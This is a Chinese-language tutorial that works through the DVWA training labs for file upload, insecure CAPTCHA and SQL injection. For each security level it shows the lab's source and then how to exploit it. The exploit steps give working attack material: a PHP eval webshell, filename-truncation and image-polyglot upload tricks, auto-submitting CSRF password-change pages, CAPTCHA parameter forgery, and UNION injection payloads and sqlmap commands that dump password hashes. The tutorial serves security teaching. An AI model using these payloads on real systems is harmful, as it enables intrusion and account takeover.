$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
basename(path,suffix)
函数返回路径中的文件名部分,如果可选参数 suffix
为空,则返回的文件名含后缀名,反之不包含后缀名。
服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。
漏洞利用
上传漏洞利用的条件是,成功上传木马文件,上传的文件必须能被执行,上传的路径必须可知。
构造木马文件 hack.php
<?php @eval($_POST['hacker']);?>
上传成功返回路径 ../../hackable/uploads/hack.php
。
使用浏览器访问 http://dvwa.local/vulnerabilities/upload/../../hackable/uploads/hack.php
没有报错显示为空白。
使用菜刀连接 http://dvwa.local/vulnerabilities/upload/../../hackable/uploads/hack.php
参数名 : hacker
。
Medium
源码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
限制文件类型必须是 jpeg
或 png
大小不能超过 100000B
(约97.6KB
)。
漏洞利用
- 文件包含与文件上传组合
直接将 hack.php
命名为 hack.jpg
文件,将其上传后,利用文件包含漏洞可解析执行 jpg
文件内的指令,使用菜刀连接(脚本类型选PHP)。
- Burp Suite Pro 改包
无文件包含漏洞,将 hack.php
>> hack.jpg
>> 上传 >> Burp Suite Pro 抓包 >> hack.jpg
改为 hack.php
>> Forward
>> 获得返回地址 >> 菜刀获取webshell。
- 截断绕过
服务器的 php 版本小于 5.3.4
, Magic_quote_gpc
为 off
时文件名可使用 %00
截断,将文件命名为 hack.php%00.png
上传,由于被 %00
截断,服务器保存的文件为 hack.php
获取返回地址菜刀获取webshell。
High
源码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
strrpos(string,find,start)
函数返回字符串 find
在另一字符串 string
中最后一次出现的位置,若没找到支付串则返回 false
可选参数 start
规定搜索开始点。
getimagesize(string filename)
函数通过读取文件头,返回图片的长、宽等信息,如果没有相关图片文件头,函数报错。
通过限制文件名 .
后面的字符串,限制了文件的类型,文件必须是 .jpg
、.jpeg
、.png
之一,同时使用 getimagessize
函数限制了文件头必须为图像类型。
漏洞利用
使用命令将 hack.php
与图片文件 image.jpg
合并。
# Windows
copy image.jpg/b+hack.php/a shell.jpg
# Linux
cat image.jpg hack.php >> shell.jpg
# 将 shell.php 内容追加到 pic.png
cat hack.php >> image.jpg
# 直接 echo 追加
echo '<?php phpinfo();?>' >> image.jpg
用记事本打开生成的文件 shell.jpg
可看到末尾加入了 hack.php
内的内容。
也可用记事本打开 image.jpg
直接复制 hack.php
文件内容到 image.jpg
的末尾。
将生成的文件直接上传,然后利用文件包含漏洞连接web shell。
Impossible
源码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
imagecreatefromjpeg(filename)
函数返回图片文件的图像标识,失败返回false。
imagejpeg(image,filename,quality)
从 image
图像以 filename
为文件名创建一个 JPEG 图像,可选参数 quality
范围从 0
(最差质量,文件更小)到 100
(质量最佳,文件最大)。
imagedestroy(img)
函数销毁图像资源。
该等级对上传的文件进行了重命名(为md5值),加入 Anti-CSRF token
防护 CSRF 攻击,同时对文件的内容进行了严格的检查。
文件上传与文件包含: 文件包含是指调用文件,可调用本地的文件,也可调用远程的文件;文件上传是指上传一个文件,如果上传木马,上传后往往需要调用执行,因此,文件上传与文件包含经常会打组合拳。
Insecure CAPTCHA (不安全的验证码/不安全的验证过程)
reCAPTCHA 验证流程 : 模块验证码由 Google 提供 reCAPTCHA 服务;用户向 Google 发送请求验证码模块的js >> Google 返回验证码 >> 用户发送输入的验证码到网站服务器 >> 网站服务器向 Google 验证用户输入的正确性 >> Google 返回验证结果。
服务器通过调用 recaptcha_check_answer
函数检查用户输入的正确性。
由于是绕过验证码,无需科学上网环境。
Low
源码
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
给密码分两步:
- 检查用户输入的验证码,验证通过后,服务器返回表单
- 客户端提交
post
请求,服务器完成更改密码操作。
其中存在明显逻辑漏洞,服务器仅通过检查 Change
、step
来判断用户是否已经输入了正确的验证码。
漏洞利用
ps: 由于没有科学上网,发送的请求包中没有 reCAPTCHA 的相关参数。
-
Burp Suite Pro 抓包 >> 修改
step=1
为step=2
>>Forward
-
没有防 CSRF 机制,可构造攻击页面,受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器,但当密码修改成功后,服务器会返回 302 实现自动跳转更改密码成功界面,使受害者意识到自己被攻击了。
<html>
<body onload="document.getElementById('transfer').submit()">
<div>
<form method="POST" id="transfer" action="http://dvwa.local/dvwa/vulnerabilities/captcha/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="step" value="2"
<input type="hidden" name="Change" value="Change">
</form>
</div>
</body>
</html>
Medium
源码
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
增加了对参数 passed_captcha
的检验,如果参数值为 true
则认为用户通过了验证码检查,然而依然可通过伪造参数绕过验证,本质上与 Low 级没区别。
漏洞利用
-
Burp Suite Pro 抓包 >> 修改
step
值为2
,在末尾添加参数&passed_captcha=true
>>Forward
-
CSRF 攻击页
<html>
<body onload="document.getElementById('transfer').submit()">
<div>
<form method="POST" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="passed_captcha" value="true">
<input type="hidden" name="step" value="2">
<input type="hidden" name="Change" value="Change">
</form>
</div>
</body>
</html>
High
源码
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for user
echo "<pre>Password Changed.</pre>";
} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
服务器验证逻辑是当 Google 返回的验证结果 $resp
是 true
且参数 g-recaptcha-response
等于 hidd3n_valu3
(或 http
包头的 User-Agent
参数等于 reCAPTCHA
) 时,认为验证码输入正确,反之这未通过验证码的检查。
增加了 Anti-CSRF token
机制防御 CSRF 攻击
漏洞利用
清楚验证逻辑,就可针对伪造绕过了,由于 $resp
参数人为无法控制,重心只能放在参数g-recaptcha-response
和 User-Agent
上。
Burp Suite Pro 抓包 >> 添加 &g-recaptcha-response=hidd3n_valu3
以及修改 User-Agent
值为 reCAPTCHA
>> Forward
Impossible
源码
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = md5( $pass_conf );
$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the end user - success!
echo "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
增加了 Anti-CSRF token
机制防御 CSRF 攻击,利用 PDO 技术防范 SQL 注入,验证不再分成两个部分,验证码无法绕过,同时要求用户输入之前的密码,进一步加强身份认证。
SQL Injection (SQL 注入)
SQL 注入指攻击者通过在原有的 SQL 语句中注入恶意的 SQL 命令,破坏原有语句的结构,通过执行这些恶意语句欺骗数据库执行,导致数据库信息泄漏,其危害是巨大的,常常会导致整个数据库被 “脱库”。
手工注入 :使用注入神器固然好用,但还要掌握手工注入的思路。
- 判断是否存在注入,注入是字符型还是数字型
- 拆解 SQL 查询语句中的字段数
- 确定显示的字段顺序
- 获取当前数据库
- 获取数据库中的表
- 获取表中的字段名
- 下载数据
Low
源码
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
Low 级对来自客户端的参数 id 没有进行任何的检查与过滤,存在明显的 SQL 注入。
漏洞利用
现实攻击场景中,攻击者是无法看到后端代码的,一些的手工注入步骤建立在无法看到源码的基础上。
- 判断是否存在注入,注入是字符型还是数字型
输入 1
,查询成功 >> 输入 1' and 1 = 2 --
查询失败,返回结果为空, 输入 1' and 1=1 --
查询成功 >> 输入 1' or '1234' ='1234
,查询成功,且返回多个结果 >> 说明存在字符型注入。
- 拆解 SQL 查询语句中的字段数
1' or 1=1 order by 1 #
查询成功
1' or 1=1 order by 2 #
查询成功
1' or 1=1 order by 3 #
查询失败
说明执行的 SQL 查询语句中只有两个字段,即 First name
、Surname
也可使用 union seclct 1,2,3...
猜解字段数
- 确定显示的字段顺序
1' union select 1,2 #
查询成功
猜测执行的 SQL 语句为 select First name,Surname from <表> where ID='$id'
而真正的语句为 SELECT first_name, last_name FROM users WHERE user_id = '$id';
- 获取当前数据库
1' union select 1,database() #
查询成功,获得数据库名为 dvwa
- 获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
成功查到 dvwa
中共有两个表, guestbook
与 users
。
group_concat()
函数将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
information_schema
这个数据库中保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库表,表栏的数据类型与访问权限等。
- 获取表中的字段名
1' union select 1,group_concat(column_name)from information_schema.columns where table_name='users' #
成功查询到 users
表中有 8 个字段,user_id,first_name,last_name,user,password,avatar,last_login,failed_login
- 下载数据
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password)from users #
成功将 users
表中所有用户的 user_id,first_name,last_name,password
数据
- 使用 sqlmap 攻击
使用 Burp Strip Pro 抓包,将抓到的包保存为文本 hack.txt
GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: php.local:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://php.local:81/vulnerabilities/sqli/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=05djofsqdd62727is2vv7ckeh6; security=low
Connection: close
使用 sqlmap 命令进行攻击
sqlmap -r hack.txt --dbs --batch # 获取数据库列表
sqlmap -r hack.txt --dbs --batch --current-db # 获取当前数据库名
sqlmap -r hack.txt -D dvwa --tables --batch # 获取数据库中的表名
sqlmap -r hack.txt -D dvwa -T users --columns --batch # 获取表中的列名
Medium
源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
利用 mysql_escape_string
函数对特殊字符 \x00,\n,\r,\,',",\x1a
进行转义,同时前端设置了下拉选择表单,希望控制用户输入。
漏洞利用
- 判断是否存在注入,注入是字符型还是数字型
通过 Burp Suite Pro 抓包 >> 修改 id 为 1' or 1=1 #
报错 >> 修改 id 为 1 or 1=1 #
查询成功,说明存在数字型注入 (数字型注入,服务段的 mysqli_real_escape_string
函数就形同虚设了,因为数字注入不需要借助引号)
- 拆解 SQL 查询语句中的字段数
抓包 >> 修改 id 为 1 order by 2 #
查询成功 >> 修改 id 为 1 order by 3 #
报错 >> 判断查询语句中只有两个字段,即返回的 First name
、Surname
- 确定显示的字段顺序
抓包 >> 修改 id 为 1 union select 1,2 #
查询成功 >> 判断执行的 SQL 语句为 select First name,Surname from <表> where ID=$id
(正确的 SELECT first_name, last_name FROM users WHERE user_id = $id;
)
- 获取当前数据库
抓包 >> 修改 id 为 1 union select 1,database() #
,查询成功,获得库名 dvwa
。
- 获取数据库中的表
抓包 >> 修改 id 为 1 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #
查询成功,获得数据库 dvwa
中的两个表名 guestbook
、users
- 获取表中的字段名
抓包 >> 修改 id 为 1 union select 1,group_concat(column_name)from information_schema.columns where table_name='users' #
查询失败,因为单引号被转义了 >> 利用16进制进行绕过将 'users'
换成 0x7573657273
即可查询成功,获得 users
表中有8个字段。
- 下载数据
抓包 >> 修改 id 为 1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password)from users #
- 同 low 级可使用 sqlmap 进行攻击
High
源码
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
在 SQL 查询语句中添加了 LIMIT 1 希望控制只输出一个结果。同时设置了将查询提交也与结果显示页分离,不执行302跳转,防止了一般的sqlmap注入(sqlmap 注入过程中,无法在查询页上获得查询结果,也就无法进行下一步了)。
漏洞利用
虽然添加了 LIMIT 1 但可以通过 #
等注释符将其注释掉
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
Impossible
源码
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
采用 PDO 技术,划清了代码与数据的界限,有效防御 SQL 注入,同时只有返回的查询结果数量为一时才会成功输出,这样有效的防御了脱库, Anti-CSRF token
机制的加入进一步提高了安全性。
SQL Injection(Blind) (SQL 盲注)
SQL 盲注不像一般的注入可直接从页面上看到输入语句的执行结果,盲注时无法从显示页面上获取执行结果,甚至连注入语句是否被执行都无法得知,因此盲注的难度比一般注入高。现存的SQL注入漏洞大多是盲注。
手工盲注思路
